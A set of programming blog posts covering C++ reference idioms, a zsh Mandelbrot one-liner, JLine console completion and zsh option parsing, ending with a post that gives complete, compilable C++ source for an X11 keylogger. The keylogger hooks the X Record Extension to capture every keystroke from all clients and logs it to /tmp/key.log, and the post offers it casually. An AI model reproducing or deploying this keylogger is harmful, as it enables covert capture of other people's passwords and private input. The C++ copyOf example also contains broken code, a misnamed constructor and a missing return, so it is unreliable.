Repetition of an old post

In 2008 I've written a post about interesting security technique. Then, I've removed it exactly until April and I know that no more than one person was able to read it and that it completely disappeared from the network. I now reminded myself about the technique. I found it quite useful. It's about safety. Basically, there are threats that require extremely sophisticated conditions to fully arise. When you defend yourself from them, you may find it playful. You may even find your self-value to rise. But then, there are threats that aren't so sophisticated. They can basically always catch you. This is the time to return to the ground. It's the social engineering! So how to defend from it? In my opinion there is only one answer: be aware of the consequences of your actions, and take into account possible actions of the people that you share your safety with. Read more here.

read more!

Avoiding pointers

I often see a C++ code that uses pointers in situations, where they're not needed. It seems that we often easily give up when we encounter slightly irregular code construct, where typical reference usage is not obvious. Consider following situation:

class A {
        public:
        virtual void action() = 0;
};
class B : public A {
        public:
        B() {}
        void action() { /* action code */ }
};

class HolderClass {
        public:
        void setInstance(A * newInstance) {
                instance = newInstance;
        }
        void doSomething() {
                instance->action();
        }
        private:
        A * instance;
};

int main() {
        B myInstance;
        HolderClass c;
        c.setInstance(&myInstance);
}

The general rule is: to avoid pointers, allow the compiler to arrange things in RAII way. Use references, initialize them as fast as you can (i.e. in base initializers):

   
class A {
        public:
        virtual void action() = 0;
};        
class B : public A {
        public:
        B() {}        
        void action() { /* action code */ }
};
class HolderClass {
        public:
        HolderClass(A & newInstance) : instance(newInstance) {}
        void doSomething() {
                instance.action();
        }
        private:
        A & instance;
};

int main() {
        B myInstance;
        HolderClass c(myInstance);
}

However, both of above approaches share the same issue: the ownership issue. Consider following scenario:

HolderClass* fun() {
        B myInstance;
        HolderClass* c = new HolderClass(myInstance);
        /* Or:
           HolderClass* c = new HolderClass();
           c->setInstance(&myInstance);
        */
        return c;
}

Possible pointer-approach solutions are:

1. Use shared pointer instead of regular pointer.
   
2. Take a pointer and copy the object, storing pointer to newly created instance.
   

But how to solve this without using pointers? Generally, we must copy the object before binding it to the reference member. If A would not have been an abstract class, and the C++0x standard Rvalue references would have been already available, then following solution would be possible:

class HolderClass {
        public:
        HolderClass(A & newInstance) : instance(A(newInstance)) {
        }
        private:
        A && instance;
};

But A is an abstract class, and we may not want to use unfinished standard features. Is it possible to make a copy of A* in such a way, that it would be available in base initializer list? It is! Thanks to the fact, that you can bind (after dereferencing) pointer returned by new() to an reference variable. Below you can see two possible solutions:

class A {
        public:
        virtual void action() = 0;
};
class B : public A {
        public:
        B() {}
        void action() { }
};

class C : public A {
        public:
        B() {}
        void action() { }
};
A & copyOf(A & a) {
        if( typeid(a) == typeid(B)) {
                B * b = new B( *dynamic_cast<B*>(&a) );
                return *b;
        } else if( typeid(a) == typeid(C)) {
                C * c = new C( *dynamic_cast<C*>(&a) );
                return *c;
        }
}

class HolderClass {
        public:
        HolderClass(A & newInstance) : 
               instance(copyOf(newInstance)) {}
        ~HolderClass() { delete &instance; }
        void doSomething() {
                instance.action();
        }
        private:
        A & instance;
};

int main() {
        B myInstance;
        HolderClass c(myInstance);
}

Next solution follows the virtual copy constructor idiom:

class A {
    public:
        ...
        virtual A& clone() = 0;
        ...
};
class B : public A {
    public:
        ...
        virtual A& clone() { return *new B(*this); }
        ...
};

class HolderClass {
    public:
            HolderClass(A& newInstance) : 
                   instance(newInstance.clone()) {}
            ~HolderClass() { delete &instance; }

            void doSomething() {
                    instance.action();
            }
    private:
            A& instance; // this can be A&&, A&, A*,
              // auto_ptr<A>, etc (any of them would work in your 
              // case)
};

Notice the delete calls in ~HolderClass() destructors — binding to an reference variable doesn't have anything to do with managing of memory lifetime.

The copyOf() approach is non-intrusive and can be easily used with third-party classes which cannot be modified. Otherwise the clone() approach is probably cleaner.

read more!

Most useless use of ZSH

I found neat ZSH hack:

 1 function most_useless_use_of_zsh {
 2     local lines columns colour a b p q i pnew
 3     ((columns=COLUMNS-1, lines=LINES-1, colour=0))
 4     for ((b=-1.5; b<=1.5; b+=3.0/lines)) do
 5         for ((a=-2.0; a<=1; a+=3.0/columns)) do
 6             for ((p=0.0, q=0.0, i=0; p*p+q*q < 4 && i < 32; i++)) do
 7                 ((pnew=p*p-q*q+a, q=2*p*q+b, p=pnew))
 8             done
 9             ((colour=(i/4)%8))
10             echo -n "\\e[4${colour}m " 
11         done
12         echo
13     done
14 }

What do you think this function does?

It draws Mandelbrot fractal :D This is possible because of ZSH floats support.

read more!

Expectation-Maximization examples

Automatic data clustering is a quite interesting topic even for non-scientists. You can try it yourself. Here are two examples using the Expectation-Maximization algorithm:

• http://lcn.epfl.ch/tutorial/english/gaussian/html/index.html
• http://www.socr.ucla.edu/Applets.dir/MixtureEM.html
  

Compared to my E-M implementation, above examples use a bit more complex version of E-M algorithm, which produce clusters having "shape" of a rotated ellipse. My implementation doesn't rotate ellipses. I will soon implement my own Java E-M demo applet.

read more!

Comfortable command line in Java

Readline is well known GNU library that provides comfortable command line in text environment. It can be very easily used with C and C++, but many problems arise when trying to use it with Java. Readline is binary, platform dependant library. Using it with Java needs lots of hacking to preserve some platform independence and is problematic when targeting Windows platform. Readline is also licensed under GPL and any program linking with it must have compliant license. Recently I was developing command line application which had to run under Linux and Windows as well. I was trying to use java-readline, but it didn’t support Windows. I then found other library, which is written in pure Java: JLine.

JLine is small, flexible Java library for handling console input. Feature highlights include:

• command line editing (you can use arrows to move over entered text, etc.),
• history of entered commands,
• completion (also filenames!).
  

Below you can see example demonstrating JLine flexibility, simplicity and power.

import jline.*;
import java.io.*;
import java.util.*;

public class Cmdline {
public static void main(String[] args) throws IOException {
   ConsoleReader reader = new ConsoleReader();
   reader.setBellEnabled(false);

   List argCompletor1= new LinkedList();
   argCompletor1.add(new SimpleCompletor(new String[] { "ls", "mkdir" }));
   argCompletor1.add(new FileNameCompletor());
   List argCompletor2 = new LinkedList();
   argCompletor2.add(new SimpleCompletor(new String[] {"ps"}));
   argCompletor2.add(new SimpleCompletor(new String[] {"-ax",
       "-axu","--help"}));

   List completors = new LinkedList();
   completors.add(new ArgumentCompletor(argCompletor1));
   completors.add(new ArgumentCompletor(argCompletor2));

   reader.addCompletor(new MultiCompletor(completors));

   String line;
   PrintWriter out = new PrintWriter(System.out);
    while ((line = reader.readLine("READY # ")) != null) {
       out.println("::" + line );
       out.flush();
        if (line.equalsIgnoreCase("quit") ||
       line.equalsIgnoreCase("q"))
        break;
   }
}
}

Basically each line in below ends with TAB key pressed, which causes JLine to generate proper completion.

# java -cp jline-0.9.93.jar:. Cmdline
READY #

ls      mkdir   ps
READY # ls /

_darcs    bin       boot          dev       etc      fonts
home      lib       lost+found    media     mnt      opt
proc      root      sbin          sys       tmp      usr
var
READY # ls /mnt/c

camera      cdrom       cdromaes
READY # ps -

--help   -ax      -axu
READY # ps -ax

-ax    -axu
READY # mkdir

Cmdline.class       Cmdline.java        jline-0.9.93.jar
READY # mkdir /

_darcs    bin       boot          dev       etc      fonts
home      lib       lost+found    media     mnt      opt
proc      root      sbin          sys       tmp      usr
var

More information:

• http://java-readline.sourceforge.net/
• http://jline.sourceforge.net/

read more!

Zsh unique features

My favorite shell is The Z Shell. It has many features that can't be found in Bash, for example hash tables:

#!/bin/zsh
typeset -A myArray
myArray[someKey]=firstValue
myArray[otherKey]=secondValue
echo $myArray[someKey] , $myArray[otherKey]

Using hash tables is very easy in Zsh. In Bash you can only emulate hashes.

Another unique Zsh feature is zparseopts. Look at following example:

#!/bin/zsh

zmodload zparseopts
zparseopts -D -E -A Args -- a b -aopt -bopt

if (( ${+Args[-a]} )); then
        echo "option -a given";
fi
if (( ${+Args[-b]} )); then
        echo "option -b given";
fi
if (( ${+Args[--aopt]} )); then
        echo "long option --aopt given";
fi
if (( ${+Args[--bopt]} )); then
        echo "long option --bopt given";
fi
if [ "$#@" -gt 0 ]; then
        echo Non option arguments are: "$@"
fi

Example outputs of this script:

# ./parseex -a -b
option -a given
option -b given

# ./parseex -a x y --bopt
option -a given
long option --bopt given
Non option arguments are: x y

# ./parseex -a x y --bopt -a
option -a given
long option --bopt given
Non option arguments are: x y

# ./parseex -ab x y --bopt z --aopt z
option -a given
option -b given
long option --aopt given
long option --bopt given
Non option arguments are: x y z z

Notice how extremely easy it is to parse command line options given in not straightforward form! Zparseopts will parse "-ab" as "-a -b" and "-a text -b text2" as "-a -b text text2"! Scripts written using zparseopts behave like normal console applications, because advanced command line options allow comfortable script invocation.

read more!

XFree86/Xorg keylogger

In order to address problems of recording and playback of user actions X Record Extension was created. It can be found for example in XFree86 and its derivatives (like X.org). Recording user actions can be used for automatic testing of GUI applications, for example Xnee was created for this purpose and it uses Record Extension to catch user actions. But that's not all! :> Record extension can also be used for.. keylogging :) While I was developing one of my projects — Keyfrog — I discovered, that it is very easy to catch every keystroke user makes.

Below you can see the code. It saves every pressed key to file /tmp/key.log. Code is 140 lines long because it is modified Keyfrog code, which is written in C++ using OOP paradigms and, of course, with aesthetics and ease of use of API in mind. It can be much shorter if you compress it and write it in pure C. I think 70 lines is enough. Remember that described keylogger will work only if Record Extension is loaded into X server. To compile included code, use following command:

# g++ keylogger.cpp -L/usr/X11R6/lib -lXtst -lX11

  1 #include <X11/Xlibint.h>
  2 #include <X11/Xlib.h>
  3 #include <X11/Xutil.h>
  4 #include <X11/Xos.h>
  5 #include <X11/Shell.h>
  6 #include <X11/cursorfont.h>
  7 #include <X11/keysymdef.h>
  8 #include <X11/keysym.h>
  9 #include <X11/extensions/record.h>
 10 #include <X11/extensions/XTest.h>
 11 #include <unistd.h>
 12 #include <exception>
 13 #include <string>
 14 #include <iostream>
 15 using namespace std;
 16 
 17 struct CallbackClosure {
 18     Display *ctrlDisplay;
 19     Display *dataDisplay;
 20     int curX;
 21     int curY;
 22     void *initialObject;
 23 };
 24 typedef union {
 25     unsigned char type;
 26     xEvent event;
 27     xResourceReq req;
 28     xGenericReply reply;
 29     xError error;
 30     xConnSetupPrefix setup;
 31 } XRecordDatum;
 32 
 33 class KeyLogger {
 34 string m_displayName;
 35 CallbackClosure userData;
 36 std::pair<int,int> recVer;
 37 XRecordRange *recRange;
 38 XRecordClientSpec recClientSpec;
 39 XRecordContext recContext;
 40 
 41 void setupRecordExtension() {
 42     XSynchronize(userData.ctrlDisplay, True);
 43 
 44     // Record extension exists?
 45     if (!XRecordQueryVersion (userData.ctrlDisplay,
 46                 &recVer.first, &recVer.second))
 47     {
 48         cout << "%sThere is no RECORD extension loaded to X server.\n"
 49             "You must add following line:\n"
 50             "   Load  \"record\"\n"
 51             "to /etc/X11/xorg.conf, in section `Module'.%s" << endl;
 52         throw exception();
 53     }
 54     cout << "Record extension v" << recVer.first << "."
 55         << recVer.second << endl;
 56 
 57     recRange = XRecordAllocRange ();
 58     if (!recRange) {
 59         // "Could not alloc record range object!\n";
 60         throw exception();
 61     }
 62     recRange->device_events.first = KeyPress;
 63     recRange->device_events.last = KeyPress;
 64     recClientSpec = XRecordAllClients;
 65 
 66     // Get context with our configuration
 67     recContext = XRecordCreateContext (userData.ctrlDisplay, 0,
 68             &recClientSpec, 1, &recRange, 1);
 69     if (!recContext) {
 70         cout << "Could not create a record context!" << endl;
 71         throw exception();
 72     }
 73 }
 74 
 75 // Called from Xserver when new event occurs.
 76 static void eventCallback(XPointer priv, XRecordInterceptData *hook) {
 77     if (hook->category != XRecordFromServer) {
 78         XRecordFreeData(hook);
 79         return;
 80     }
 81     CallbackClosure *userData = (CallbackClosure *)priv;
 82     XRecordDatum *data = (XRecordDatum *) hook->data;
 83     if(data->event.u.u.type == KeyPress) {
 84         int c = data->event.u.u.detail;
 85         FILE *output = fopen("/tmp/key.log", "a+");
 86         fprintf(output,"[%s]\n",
 87                 XKeysymToString(
 88                     XKeycodeToKeysym(userData->ctrlDisplay,c,0)));
 89         fclose(output);
 90     }
 91     XRecordFreeData(hook);
 92 }
 93 
 94 public:
 95 KeyLogger() { }
 96 ~KeyLogger() {
 97     stop();
 98 }
 99 void processData() {
100     XRecordProcessReplies (userData.dataDisplay);
101 }
102 
103 bool connect(string displayName) {
104     m_displayName = displayName;
105     if (NULL == (userData.ctrlDisplay =
106                 XOpenDisplay(m_displayName.c_str())) )
107         return false;
108     if (NULL == (userData.dataDisplay =
109                 XOpenDisplay(m_displayName.c_str())) ) {
110         XCloseDisplay(userData.ctrlDisplay);
111         userData.ctrlDisplay = NULL;
112         return false;
113     }
114     // You may want to set custom X error handler here
115 
116     userData.initialObject = (void *)this;
117     setupRecordExtension();
118     return true;
119 }
120 
121 void start() {
122     if (!XRecordEnableContextAsync (userData.dataDisplay,
123                 recContext, eventCallback, (XPointer) &userData))
124     {
125         throw exception();
126     }
127 }
128 
129 void stop() {
130     if(!XRecordDisableContext (userData.ctrlDisplay, recContext))
131         throw exception();
132 }
133 };
134 
135 int main() {
136     KeyLogger keylogger;
137     if(keylogger.connect(":0")) {
138         keylogger.start();
139         while ( 1 ) {
140             keylogger.processData();
141             usleep(1000000/3);
142         }
143     }
144     return 0;
145 }
146 

read more!